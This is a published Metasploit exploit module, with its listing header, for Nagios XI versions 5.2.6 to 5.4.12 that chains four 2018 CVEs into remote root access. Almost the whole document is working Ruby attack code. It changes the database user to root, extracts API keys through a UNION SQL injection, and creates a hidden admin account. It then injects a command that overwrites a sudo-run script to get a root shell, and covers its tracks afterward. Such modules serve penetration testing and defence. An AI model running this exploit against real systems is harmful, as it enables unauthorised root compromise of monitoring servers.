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Nagios XI Chained Remote Code Execution

Nagios XI Chained Remote Code Execution
Posted Jun 29, 2018
Authored by Benny Husted, Cale Smith, Jared Arave | Site metasploit.com

This Metasploit module exploits a few different vulnerabilities in Nagios XI 5.2.6-5.4.12 to gain remote root access. The steps are: 1. Issue a POST request to /nagiosql/admin/settings.php which sets the database user to root. 2. SQLi on /nagiosql/admin/helpedit.php allows us to enumerate API keys. 3. The API keys are then used to add an administrative user. 4. An authenticated session is established with the newly added user 5. Command Injection on /nagiosxi/backend/index.php allows us to execute the payload with nopasswd sudo, giving us a root shell. 6. Remove the added admin user and reset the database user.

tags | exploit, remote, shell, root, php, vulnerability
advisories | CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
MD5 | f275b1da0c15a7e7e5fae8036578d5d8

Nagios XI Chained Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Chained Remote Code Execution',
'Description' => %q{
This module exploits a few different vulnerabilities in Nagios XI 5.2.6-5.4.12 to gain remote root access.
The steps are:
1. Issue a POST request to /nagiosql/admin/settings.php which sets the database user to root.
2. SQLi on /nagiosql/admin/helpedit.php allows us to enumerate API keys.
3. The API keys are then used to add an administrative user.
4. An authenticated session is established with the newly added user
5. Command Injection on /nagiosxi/backend/index.php allows us to execute the payload with nopasswd sudo,
giving us a root shell.
6. Remove the added admin user and reset the database user.
},
'Author' =>
[
'Cale Smith', # @0xC413
'Benny Husted', # @BennyHusted
'Jared Arave' # @iotennui
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'CmdStagerFlavor' => ['printf'],
'Targets' =>
[
[
'Nagios XI 5.2.6 <= 5.4.12',
upper_version: Gem::Version.new('5.4.12'),
lower_version: Gem::Version.new('5.2.6')
]
],
'References' =>
[
['EDB', '44560'],
['CVE', '2018-8733'],
['CVE', '2018-8734'],
['CVE', '2018-8735'],
['CVE', '2018-8736'],
['URL', 'http://blog.redactedsec.net/exploits/2018/04/26/nagios.html']
],
'Privileged' => true,
'DefaultOptions' => {
'WSFDELAY' => 30
},
'DisclosureDate' => 'Apr 17, 2018',
'DefaultTarget' => 0))
register_options(
[
#WSFDelay option is being ignored, getting around this with a call to Rex.sleep
#Sometimes Nagios doesn't execute commands immediately, so play with this parameter.
Opt::RPORT(80),
OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 15 ])
])
deregister_options('SRVHOST', 'SRVPORT')
end

def check
vprint_status "STEP 0: Get Nagios XI version string."
res = send_request_cgi!({
'method' => 'GET',
'uri' => '/nagiosxi/'
})

if !res || !res.get_html_document
fail_with(Failure::Unknown, 'Could not check nagios version')
end

if (@version = res.get_html_document.at('//input[@name = "version"]/@value').text)
@version = Gem::Version.new(@version)
vprint_good("STEP 0: Found Nagios XI version: #{@version.to_s}")
if @version < target[:lower_version]
vprint_bad('Try nagios_xi_chained for this version.')
elsif (@version <= target[:upper_version] && @version >= target[:lower_version])
return CheckCode::Appears
end
end
CheckCode::Safe
end

def set_db_user(usr, passwd)
step = usr == 'root' ? '1' : '6.1'
vprint_status "STEP #{step}: Setting Nagios XI DB user to #{usr}."
res = send_request_cgi({
'uri' => '/nagiosql/admin/settings.php',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'txtRootPath'=>'nagiosql',
'txtBasePath'=>'/var/www/html/nagiosql/',
'selProtocol'=>'http',
'txtTempdir'=>'/tmp',
'selLanguage'=>'en_GB',
'txtEncoding'=>'utf-8',
'txtDBserver'=>'localhost',
'txtDBport'=>3306,
'txtDBname'=>'nagiosql',
'txtDBuser'=> usr,
'txtDBpass'=> passwd,
'txtLogoff'=>3600,
'txtLines'=>15,
'selSeldisable'=>1
}
})

if !res || res.code != 302
fail_with(Failure::UnexpectedReply,"STEP #{step}: Unexpected response setting db user to root")
end
vprint_status "STEP #{step}: Received a 302 Response. That's good!"
end

def get_api_keys
vprint_status 'STEP 2: Exploiting SQLi to extract user API keys.'

sqli_parm = @version < Gem::Version.new('5.3.0') ? 'backend_ticket' : 'api_key'
sqli_val = rand_text_alpha(rand(5) + 5)
res = send_request_cgi({
'uri' => '/nagiosql/admin/helpedit.php',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'selInfoKey1'=>"#{sqli_val}'UNION SELECT CONCAT('START_API:',#{sqli_parm},':END_API') FROM nagiosxi.xi_users-- ",
'hidKey1'=>'common',
'selInfoKey2'=>'free_variables_name',
'hidKey2'=>'',
'selInfoVersion'=>'',
'hidVersion'=>'',
'taContent'=>'',
'modus'=>0
}
})

if !res || res.code != 302 || !res.body
fail_with(Failure::UnexpectedReply,'STEP 2: Unexpected response extracting api keys')
end

vprint_status 'STEP 2: Received a 302 Response. That\'s good!'
parse_api_key(res.body)
end

def parse_api_key(res_body)
begin_positions = res_body.enum_for(:scan, /START_API:/).map { Regexp.last_match.end(0) }
end_positions = res_body.enum_for(:scan, /:END_API/).map { Regexp.last_match.begin(0) - 1 }
api_keys = []

begin_positions.each_with_index do|val, i|
key = res_body[val..end_positions[i]]
unless api_keys.include?(key)
api_keys << key
end
end

if api_keys.length < 1
fail_with(Failure::Unknown, 'Could not parse api keys')
end

vprint_status "Found #{api_keys.length.to_s} unique api keys"
api_keys.each do |key|
vprint_status key
end

api_keys
end

def add_admin(keys, username, password)
vprint_status 'STEP 3: Using API Keys to add an administrative user...'
keys.each do |key|
user_id = try_add_admin(key, username, password)

if (user_id.to_i > 0)
vprint_good "Added user:#{username} password:#{password} userid:#{user_id}"
return user_id.to_s, key
end
end
fail_with(Failure::Unknown, 'STEP 3: Failed to add a user.')
end

def try_add_admin(key, username, passwd)
vprint_status "STEP 3: trying to add admin user with key #{key}"
res = send_request_cgi({
'uri'=> "/nagiosxi/api/v1/system/user",
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
'apikey' => key,
'pretty' => 1
},
'vars_post' =>{
'username' => username,
'password' => passwd,
'name' => rand_text_alpha(rand(5) + 5),
'email' =>"#{username}@localhost",
'auth_level' =>'admin',
'force_pw_change' => 0
}
})

json = res.get_json_document
json['userid'] ? json['userid'].to_i : -1
end

def delete_admin(key, user_id)
res = send_request_cgi({
'uri'=> "/nagiosxi/api/v1/system/user/#{user_id}",
'method' => 'DELETE',
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
'apikey' => key
}
})

res.body && res.body.include?('was added successfully') ? username : false
end

def login(username, password)
vprint_status "STEP 4.1: Authenticate as user #{username} with password #{password}"
#4.1 Get nsp for login
vprint_status 'STEP 4.1: Get NSP and nagiosxi for login..'
res = send_request_cgi({
'uri' =>'/nagiosxi/login.php',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded'
})

if !res || !res.body
fail_with(Failure::Unknown, 'STEP 4.1: Could not get nsp string for login')
end

login_nsp = parse_nsp_str(res.body)
vprint_status "STEP 4.1: login_nsp #{login_nsp} "

login_nagiosxi = parse_nagiosxi(res)
vprint_status "STEP 4.1: login_nagiosxi #{login_nagiosxi}"

vprint_status 'STEP 4.2: Authenticating...'
res = send_request_cgi({
'uri'=> '/nagiosxi/login.php',
'ctype' => 'application/x-www-form-urlencoded',
'method' => 'POST',
'cookie' => "nagiosxi=#{login_nagiosxi};",
'vars_post'=> {
'nsp' => login_nsp,
'page' => 'auth',
'debug' => '',
'pageopt' => 'login',
'username' => username,
'password' => password,
'loginButton' => ''
}
})

if !res || res.code != 302
fail_with(Failure::Unknown, 'STEP 4.2 Could not get authed nsp string.')
end

authed_nagiosxi = parse_nagiosxi(res)
vprint_status "STEP 4.2: authed_nagiosxi #{authed_nagiosxi}"
authed_nagiosxi
end

def parse_nsp_str(resp_body)
nsp_strs = /var nsp_str = "(.+)";\n/.match(resp_body)

unless nsp_strs || nsp_strs.length < 2
fail_with(Failure::NotFound, 'Could not find nsp_str')
end

nsp_strs[1]
end

def parse_nagiosxi(res)
cookie = res.get_cookies
matches = /.*nagiosxi=(.+);/.match(cookie)

unless matches || matches.length < 2
fail_with(Failure::NotFound, 'Could not find nagiosxi cookie')
end

matches[1]
end

def execute_command(cmd, opts = {})
backup_file = rand_text_alpha(rand(5) + 10)

cmd_execution = "$(cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/#{backup_file} ; echo \"#{cmd}\" > /usr/local/nagiosxi/scripts/reset_config_perms.sh ; sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh) &"

cmd_cleanup = "$(mv /usr/local/nagiosxi/scripts/#{backup_file} /usr/local/nagiosxi/scripts/reset_config_perms.sh)"
opts_exec = {
'uri'=> '/nagiosxi/backend/index.php',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => "nagiosxi=#{@nagiosxi}",
'vars_get' => {
'cmd'=>'submitcommand',
'command'=>'1111',
'command_data'=> cmd_execution
}
}

opts_cleanup = {
'uri'=> '/nagiosxi/backend/index.php',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => "nagiosxi=#{@nagiosxi}",
'vars_get' => {
'cmd'=>'submitcommand',
'command'=>'1111',
'command_data'=> cmd_cleanup
}
}

vprint_status 'STEP 5.1: executing payload'
res = send_request_cgi(opts_exec)

if !res || res.code != 200
fail_with(Failure::Unknown, 'STEP 5.1: Command execution failed')
end

vprint_status 'STEP 5.2: removing scripts from disc'
res = send_request_cgi(opts_cleanup)

if !res || res.code != 200
fail_with(Failure::Unknown, 'STEP 5.2: Command cleanup failed')
end
end

def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'STEP 0: Vulnerable version not found! punt!')
end

set_db_user('root', 'nagiosxi')

keys = get_api_keys
username = rand_text_alpha(rand(6) + 10)
password = rand_text_alpha(rand(6) + 10)

user_id, key = add_admin(keys, username, password)
@nagiosxi = login(username, password)
execute_cmdstager()

#revert databaseuser
set_db_user('nagiosql', 'n@gweb')
vprint_status 'STEP 6.2: deleting admin'
delete_admin(key, user_id)

#The WSFDelay option is being ignored currently, so this is this workaround.
Rex.sleep(datastore['WAIT'].to_i)
end
end

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